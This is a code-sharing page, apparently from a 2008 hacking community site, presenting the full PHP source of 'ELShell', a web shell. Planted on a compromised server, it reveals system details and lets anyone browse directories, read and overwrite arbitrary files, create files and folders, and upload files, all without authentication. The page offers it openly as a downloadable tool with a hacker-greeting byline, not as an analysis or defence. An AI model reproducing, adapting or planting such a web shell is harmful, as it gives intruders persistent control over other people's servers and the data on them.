[ Log In | Register ]       
Resource Database Index -> Source Code -> ELShell, Super Simple old
Description // Info



Source Code

  1. <?PHP      
  2.    $data = $_GET['data'];
  3.    $server = $_SERVER['SERVER_NAME'];
  4.    $script = $_SERVER['PHP_SELF'];
  5.    $docroot = $_SERVER['DOCUMENT_ROOT'];
  6.    $version = "v1.0";
  7.    function GetStats()
  8.    {//elchupa
  9.        return "<b><BR>Space on HDD:</b> ".( @disk_free_space("/") / (1024 * 1024 ) ).
  10.             "<b><BR>Total Space on HDD:</b> ".( @disk_total_space("/") / (1024 * 1024 ) );
  11.    }      
  12.    function GetSelf( $file)
  13.    {//elchupa
  14.       return @dirname( $file );
  15.    }
  16.    function GetServerPhpInfo()
  17.    {//elchupa
  18.       if( ( @ini_get( "safe_mode" ) == "" ) || ( @ini_get( "safe_mode" ) == null ) )
  19.          $safeon = true;
  20.        return  '<b>Server Name:</b> <a href="javascript:ServerWindow()">'.$_SERVER['SERVER_NAME']."</a>\n".
  21.             "<b><br>Server OS:</b> ".PHP_OS.
  22.             "<b><br>PHP Version:</b> ".@phpversion().
  23.             "<b><br>Safe_Mode:</b> ".($safeon?"<font color='green'>off</font>":"<font color='#CC0000'>on</font>").
  24.             "\n<b><br>Current User:</b> ".@get_current_user();
  25.    }
  26.    function GetPermissions( $file )
  27.    {
  28.       $t = @fileperms( $file );
  29.       $tmp .= (( $t & 0x0100) ? '<font color="green">r</font>' : '<font color="red">-</font>');
  30.       $tmp .= (($t & 0x0080 ) ? '<font color="green">w</font>' : '<font color="red">-</font>');
  31.       $tmp .= (($t & 0x0040 ) ? (($t & 0x0800) ? 's' : '<font color="green">x</font>' ) : (($t & 0x0800) ? 'S' : '-'));
  32.       $tmp .= "|".(($t & 0x0020) ? '<font color="green">r</font>' : '-');
  33.       $tmp .= (($t & 0x0010) ? '<font color="green">w</font>' : '-');
  34.       $tmp .= (($t & 0x0008) ? (($t & 0x0400) ? 's' : '<font color="green">x</font>' ) : (($t & 0x0400) ? 'S' : '-'));
  35.       $tmp .= "|".(($t & 0x0004) ? '<font color="green">r</font>' : '-');
  36.       $tmp .= (($t & 0x0002) ? '<font color="green">w</font>' : '-');
  37.       $tmp .= (($t & 0x0001) ? (($t & 0x0200) ? 't' : '<font color="green">x</font>' ) : (($t & 0x0200) ? 'T' : '-'));
  38.       return $tmp;
  39.    }
  40.    function GetOwner( $file )
  41.    {//elchupa
  42.       $owner = @posix_getpwuid( @fileowner( $file ) );
  43.       if( @strcmp( $owner, @get_current_user() ) == 0 )
  44.       {
  45.          return "<b>".$owner['name']."</b>";
  46.       }  
  47.       return $owner['name'];
  48.    }
  49.    function GetFileType( $file )
  50.    {//elchupa
  51.       $t = explode( ".", $file );
  52.       return "<b>".$t[sizeof( $t ) - 1]."</b>";
  53.    }
  54.    function DisplayDir( $dir )
  55.    {//elchupa
  56.       @chdir( $dir );
  57.       $eh = @opendir( @getcwd() );
  58.       $tmp = "<BR><b>Current Dir:</b><font class='file'>".@getcwd()."</font>\n";
  59.       $tmp .= "<table border = '0' cellpadding='1' cellspacing = '1'>\n<th align=left><div class=file_head>.:Name:.</div></th><th align=left><div class=file_head>.:Type:.</div></th>".
  60.             "<th align=left><div class=file_head>.:Size:.</div></th><th align=left>.:Permissions:.</th><th align=left>.:Owner:.</div></th>\n";
  61.       $ar = array();
  62.       $dir = array();
  63.       while( ( $th = @readdir( $eh ) ) !== false )
  64.       {
  65.          if( @is_dir( $th ) )
  66.          {
  67.             $dir[] = $th;
  68.          }
  69.          else if( @is_file( $th ) )
  70.          {
  71.             $ar[] = $th;
  72.          }
  73.       }
  74.       @sort( $ar );
  75.       for( $i = 0; $i < sizeof( $dir ); $i++ )
  76.       {//elchupa
  77.          $th = $dir[$i];
  78.          $tmp .= "<tr>";
  79.          if( @strcmp( $th, ".." ) == 0 )
  80.          {
  81.             $a = @getcwd()."/&#46;&#46;/";
  82.             $tmp .= "<td ><div class='updir'>[-<a href='?act=dir&data=".$a."'>$th</a>-]</div></td><td><b>DIR</b></td><td>N/A</td><td>".GetPermissions( $th )."</td><td>".GetOwner( $th )."</td>";
  83.          }
  84.          else
  85.          {
  86.             $a = @getcwd()."/".$th;
  87.             $tmp .= "<TD><div class='dir'>[-<a href='?act=dir&data=".$a."'>$th</a>-]</div></td><td><b>DIR</b></td><td>N/A</td><td>".GetPermissions( $th )."</td><td>".GetOwner( $th )."</td>";
  88.          }
  89.          $tmp .= "</tr>\n";
  90.       }
  91.       for( $i = 0; $i < sizeof( $ar ); $i++ )
  92.       {//elchupa
  93.          $th = $ar[$i];
  94.          $tmp .= "<tr>";
  95.          $tmp .= "<td><div class='file'><a href=?act=open&data=".getcwd()."/$th>$th</a></td><td>".GetFileType( $th )."</td><td>".(round( @filesize( $th ) / 1024, 2) )."kb</td><td>".
  96.                GetPermissions( $th )."</td><td>".GetOwner( $th )."</td></tr>\n";
  97.       }
  98.       $tmp .= "</table>";
  99.       return $tmp;
  100.    }
  101.    $html = "<HTML><HEAD><meta http-equiv='Content-Type' content='text/html; charset=ISO-8859-1'>
  102.         <TITLE>.:.".$server.".:.ELShell.:.".$version.".:.</TITLE>".
  103.          "<STYLE type = 'text/css'><!-- .updir { color:#CC0000; } .dir { color:#33FF33; } .file { color:#009900; } .file_head { color:#000000; } table { margin-left: auto; margin-right: auto;} -></STYLE>\n
  104.         <SCRIPT language='JavaScript'>
  105.         function ServerWindow()
  106.         {//elchupa
  107.            window.open('http://".$server."','".$server."','width=500,height=200,toolbar=yes,location=yes,directories=yes,status=yes,menubar=yes,scrollbars=yes,copyhistory=yes,resizable=yes');
  108.         }
  109.         </SCRIPT></HEAD>\n";
  110.    $html .=
  111.    "<table><tr><td><h1 style='font-size:35%;font-family:Courier New'>----------------------------L+L\n<br>-------------------------L+++++L\n<br>----------------------L+++++++++L\n<br>----------------E-E----L+++++++++L\n<br>-------------E+++++E----L+++++++++L------------------SSSSSSSSSSSSSSSSSSSSSSSSSSS--HHHHHHH-------HHHHHHH--EEEEEEEEEEEEEEEEEEEE--LLLLLLL----------------LLLLLLL\n<br>----------E+++++++++E----L+++++++++L-----------------S+++++++++++++++++++++++++S--H+++++H-------H+++++H--E++++++++++++++++++E--L+++++L----------------L+++++L\n<br>
  112.    -------E+++++++++++++E----L+++++++++L----------------S+++++++++++++++++++++++++S--H+++++H-------H+++++H--E++++++++++++++++++E--L+++++L----------------L+++++L\n<br>---E+++++++++++++E---------L+++++++++L---------------S+++++++SSSSSSSSSSSSSSSSSSS--H+++++H-------H+++++H--E+++++++EEEEEEEEEEEE--L+++++L----------------L+++++L\n<br>E+++++++++++++E-------------L+++++++++L--------------S+++++++S--------------------H+++++H-------H+++++H--E+++++++E-------------L+++++L----------------L+++++L\n<br>
  113.    -E++++++++E---------E--------L+++++++++L-------------S+++++++S--------------------H+++++H-------H+++++H--E+++++++E-------------L+++++L----------------L+++++L\n<br>--E+++++++E------E+++E--------L+++++++++L--------L---S+++++++S--------------------H+++++HHHHHHHHH+++++H--E+++++++EEEEEEEEEE----L+++++L----------------L+++++L\n<br>---E+++++++E--E+++++++E--------L+++++++++L---L+++++L-S+++++++SSSSSSSSSSSSSSSSSSS--H+++++++++++++++++++H--E++++++++++++++++E----L+++++L----------------L+++++L\n<br>----E+++++++E++++++++++E--------L++++++++++L++++++++LS+++++++++++++++++++++++++S--H+++++HHHHHHHHH+++++H--E+++++++EEEEEEEEEE----L+++++L----------------L+++++L\n<br>-----E+++++++++++++E-------------L+++++++++++++++++++LSSSSSSSSSSSSSSSS+++++++++S--H+++++H-------H+++++H--E+++++++E-------------L+++++L----------------L+++++L\n<br>------E+++++++E-------------E-----L++++++++++++++L-------------------S+++++++++S--H+++++H-------H+++++H--E+++++++E-------------L+++++L----------------L+++++L\n<br>
  114.    -------E+++++++E---------E+++E-----L+++++++++L-------SSSSSSSSSSSSSSSSS+++++++++S--H+++++H-------H+++++H--E+++++++EEEEEEEEEEEE--L+++++LLLLLLLLLLLLLLL--L+++++LLLLLLLLLLLLLLL\n<br>--------E+++++++E----E++++++++E-----L++++L-----------S+++++++++++++++++++++++++S--H+++++H-------H+++++H--E++++++++++++++++++E--L+++++++++++++++++++L--L+++++++++++++++++++L\n<br>---------E+++++++E+++++++++++++E-----L---------------S+++++++++++++++++++++++++S--H+++++H-------H+++++H--E++++++++++++++++++E--L+++++++++++++++++++L--L+++++++++++++++++++L\n<br>
  115.    ----------E+++++++++++++++++E------------------------SSSSSSSSSSSSSSSSSSSSSSSSSSS--HHHHHHH-------HHHHHHH--EEEEEEEEEEEEEEEEEEEE--LLLLLLLLLLLLLLLLLLLLL--LLLLLLLLLLLLLLLLLLLLL\n<br>-----------E+++++++++++++E-----------------------------------\n<br>------------E++++++++E-------by: elchupathingy---------------\n<br>-------------E+++E-------------------------------------------\n<br>--------------E----------------------------------------------\n<br></h1>";
  116.    $html .="<body bgcolor='#999999' link='#000000' alink='#666666'>\n".GetServerPhpInfo().GetStats()."\n<br><a href='?act=dir&data=".$docroot.GetSelf( $script )."'>Home</a>\n<a href='javascript:javascript:history.go(-1)'>Back</a>\n";
  117.    if( isset( $_GET['act'] ) )
  118.    {
  119.       if( @strcmp( $_GET['act'], "open" ) == 0 )
  120.       {
  121.          $html .= "<BR><b>Opened:</b> <font class=file>".$data."</font>";
  122.          $farr = @file( $data );//0x656C6368757061
  123.          $html .= "<form name='savefile' action='?act=save&data=".GetSelf( $data )."' method='post'><BR><textarea name='openedfile' rows='25' cols='90'>";
  124.          for( $i = 0; $i < sizeof( $farr /*0x656C6368757061*/); $i++ )
  125.          {
  126.             $html .= @htmlspecialchars( $farr[$i] );
  127.          }
  128.          $html .= "\n<!--//elchupathingy</textarea><input type='hidden' name='path' value='".$data."'><br><input type='submit' value='Save File'></form>";
  129.       }
  130.       else if( @strcmp( $_GET['act'], "dir" ) == 0 )
  131.       {
  132.          $html .= DisplayDir( $data );
  133.       }
  134.       else if( @strcmp( $_GET['act'], "save" ) == 0 )
  135.       {
  136.          if( isset( $_POST['openedfile'] ) && isset( $_POST['path'] ) )
  137.          {
  138.             if( ( $file = @fopen( $_POST['path'], "w" ) ) !== false )
  139.             {
  140.                @fwrite( $file, $_POST['openedfile'] );
  141.                $html .= DisplayDir( $data )."<br><font color='green'>File <b>".$_POST['path']."</b> saved Succesfully.";
  142.             }
  143.             else
  144.             {
  145.                $html .= DisplayDir( $data )."<br><font color='#CC0000'>File ".$_POST['path']." save Failed.";
  146.             }
  147.          }
  148.       }      
  149.       else if( @strcmp( $_GET['act'], "crtfile" ) == 0 )
  150.       {
  151.          if( ( $file = @fopen( $data."/".$_POST['newfile'], "x" ) ) !== false )
  152.          {
  153.             @fclose( $file );
  154.             $html .= DisplayDir( $data )."<br><font color='green'>Creating File <a href='?act=open&data=".getcwd()."/".$_POST['newfile']."'>".$_POST['newfile']."</a> Successful.</font>";
  155.          }
  156.          else
  157.          {
  158.             $html .= DisplayDir( $data )."<br><font color='#CC0000'>Creating File ".$_POST['newfile']." Failed.</font>";
  159.          }
  160.       }
  161.       else if( @strcmp( $_GET['act'], "crtdir" ) == 0 )
  162.       {
  163.          if( ( @mkdir( $data."/".$_POST['newdir'] ) ) !== false )
  164.          {
  165.             $html .= DisplayDir( $data )."<br><font color='green'>Creating Directory <a href='?act=open&data=".getcwd()."/".$_POST['newdir']."'>".$_POST['newdir']."</a> Successful.</font>";
  166.          }
  167.          else
  168.          {
  169.             $html .= DisplayDir( $data )."<br><font color='#CC0000'>Creating Directory ".$_POST['newdir']." Failed.</font>";
  170.          }
  171.       }
  172.       else if( @strcmp( $_GET['act'], "up" ) == 0 )
  173.       {
  174.          if( @move_uploaded_file( $_FILES['upfile']['tmp_name'], $data."/".basename( $_FILES['upfile']['name'] ) ) )
  175.          {
  176.             $html .= DisplayDir( $data )."<br><font color='green'>File <a href='?act=open&data=".getcwd()."/".basename( $_FILES['upfile']['name'] )."'>".basename( $_FILES['upfile']['name'] )."</a> Uploaded Succesfully</font>\n";
  177.          }
  178.          else
  179.          {
  180.             $html .= DisplayDir( $data )."<br><font color='#CC0000'>File <b>".basename( $_FILES['upfile']['name'] )."</b> Upload Failed</font>\n";
  181.          }
  182.       }
  183.          
  184.    else
  185.    {
  186.       $html .= "<br><b>Hit the Home link to use.<br> Enjoy, elchupathingy</b>\n";
  187.    }
  188.    $html .= "<br><form name='createfile' action='?act=crtfile&data=".@getcwd()."' method='post'><input type='text' name='newfile' size='30'><input type='submit' value='Create File'></form>\n".
  189.           "<form name='createdir' action='?act=crtdir&data=".@getcwd()."' method='post'><input type='text' name='newdir' size='30'><input type='submit' value='Create Dir'></form>\n".
  190.           '<form enctype="multipart/form-data" action="?act=up&data='.getcwd().'" method="POST"><input type="hidden" name="MAX_FILE_SIZE" value="100000"><input name="upfile" type="file"><input type="submit" value="Up"></form>';
  191.    echo $html."</td></tr></table></body></HTML>";  
  192. ?>


Comments

You must be logged in to post comments.

 Network Access...
USER ID
PASSWORD

 Code Information
Language:
PHP

Version:
1


Submitted:
2008-08-28 - 23:54:46


Author:
elchupathingy
E-Mail
Website

Greetz:
All real coders and hackers

[ Download | Report Issue ]

 Code Search
Search by Language
+ Assembly
+ ASP
+ ASP.NET
+ C#
+ C/C++
+ Cobol
+ Delphi
+ Java
+ Javascript
+ Pascal
+ Perl
+ PHP
+ Python
+ VB6
+ VB.NET

Advanced Search




 
 
By continuing past this page, and by your continued use of this site, you agree to be bound by and abide by the User Agreement.

© 2008 r00tsecurity network. All rights reserved.
[ About Us | Contact Us | Support Us | Legal | Advertise | User Agreement | Privacy Policy ]